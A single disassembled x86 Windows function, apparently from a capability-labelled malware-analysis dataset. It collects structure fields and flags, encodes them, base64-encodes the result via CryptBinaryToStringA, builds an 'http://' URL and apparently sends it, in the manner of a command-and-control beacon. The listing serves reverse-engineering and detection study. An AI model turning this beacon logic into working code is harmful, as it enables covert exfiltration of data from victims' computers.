Function at 0x4002abc
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and dword [ebp - 0x24], 0
cmp dword [ebp + 8], 0
je 0x4002ec5
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x4002ec4
push ebx
push esi
push 0x50
call fcn.0400510a
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x14], eax
pop ecx
lea eax, [edi + 0x204]
push eax
lea ebx, [edi + 0x308]
call esi
push ebx
mov dword [ebp - 0x10], eax
call esi
mov ecx, dword [ebp - 0x10]
lea ebx, [ecx + eax]
lea eax, [edi + 0x100]
push eax
call esi
push dword [ebp + 8]
add ebx, eax
call esi
push edi
add ebx, eax
call esi
add eax, ebx
mov ebx, str.sivulnankesb
push ebx
mov dword [ebp - 0x10], eax
call esi
add eax, dword [ebp - 0x10]
cmp byte [0x400d1d9], 0
mov ecx, dword [ebp - 0x14]
lea eax, [eax + ecx + 0x2a]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0x10
je 0x4002b53
mov dword [ebp - 0xc], 0x18
cmp byte [0x400d1d6], 0
je 0x4002b60
or dword [ebp - 0xc], 1
cmp byte [0x400d1d5], 0
je 0x4002b6d
or dword [ebp - 0xc], 4
cmp byte [0x400d1d8], 0
je 0x4002b7a
or dword [ebp - 0xc], 2
cmp byte [0x400d1da], 0
je 0x4002b87
or dword [ebp - 0xc], 0x20
cmp byte [0x400d1db], 0
je 0x4002b94
or dword [ebp - 0xc], 0x40
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4002ec2
cmp dword [ebp - 0x1c], 0
je 0x4002ec2
cmp dword [ebp - 0x18], 0
je 0x4002ec2
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push 0x400b808
push eax
call fcn.04002481
push 4
lea eax, [ebp - 8]
push 0x400b80c
push eax
call fcn.04002481
push 4
lea eax, [ebp - 8]
push 0x400b848
push eax
call fcn.04002481
push 4
lea eax, [ebp - 8]
push 0x400b810
push eax
call fcn.04002481
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
add dword [ebp - 8], 8
push 4
lea eax, [ebp - 8]
push 0x400b844
push eax
call fcn.04002481
add esp, 0x48
push 4
lea eax, [edi + 0x32f]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
add esp, 0xc
push dword [ebp + 8]
call esi
mov byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
push dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.04002481
add esp, 0x18
push ebx
call esi
mov byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 8]
push ebx
push eax
call fcn.04002481
add esp, 0x18
lea ebx, [edi + 0x204]
push ebx
call esi
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 8]
push ebx
push eax
call fcn.04002481
add esp, 0x18
lea ebx, [edi + 0x100]
push ebx
call esi
mov byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 8]
push ebx
push eax
call fcn.04002481
add esp, 0x18
lea ebx, [edi + 0x308]
push ebx
call esi
mov byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 8]
push ebx
push eax
call fcn.04002481
add esp, 0x18
push edi
call esi
mov byte [ebp - 1], al
push 1
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
call fcn.04002481
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 8]
push edi
push eax
call fcn.04002481
xor ebx, ebx
add esp, 0x18
cmp dword [ebp - 0x14], ebx
jle 0x4002d96
push 0xff
call fcn.0400510a
pop ecx
mov cl, bl
inc cl
imul cl
mov ecx, dword [ebp - 8]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, dword [ebp - 0x14]
jl 0x4002d79
push 0x2000
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x10]
call fcn.0400488f
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 0x10
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x4002ea6
push dword [ebp + 8]
call esi
push str.http:___s
mov ebx, eax
call esi
add ebx, eax
cmp ebx, 0x100
jae 0x4002ea6
push dword [ebp + 8]
lea eax, [ebp - 0x124]
push str.http:___s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 4
push 0x3000
mov ebx, 0x180000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 8], eax
test eax, eax
je 0x4002ea6
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 0x2000
push 0x40000001
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x4002e97
push dword [ebp + 0x10]
lea eax, [ebp - 0x124]
push ebx
push dword [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push eax
call fcn.0400170a
mov ebx, eax
add esp, 0x18
test ebx, ebx
jle 0x4002e97
push 0xffffffffffffffff
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x400d1ec]
call esi
add eax, ebx
cmp eax, 0x1400000
jge 0x4002e84
push dword [ebp + 8]
push dword [0x400d1ec]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 1
push dword [0x400d1f0]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov dword [ebp - 0x24], ebx
mov ebx, 0x8000
push ebx
push 0
push dword [ebp + 8]
call edi
jmp 0x4002eab
mov ebx, 0x8000
push ebx
xor esi, esi
push esi
push dword [ebp - 0x10]
call edi
push ebx
push esi
push dword [ebp - 0x1c]
call edi
push ebx
push esi
push dword [ebp - 0x18]
call edi
pop esi
pop ebx
pop edi
mov eax, dword [ebp - 0x24]
leave
ret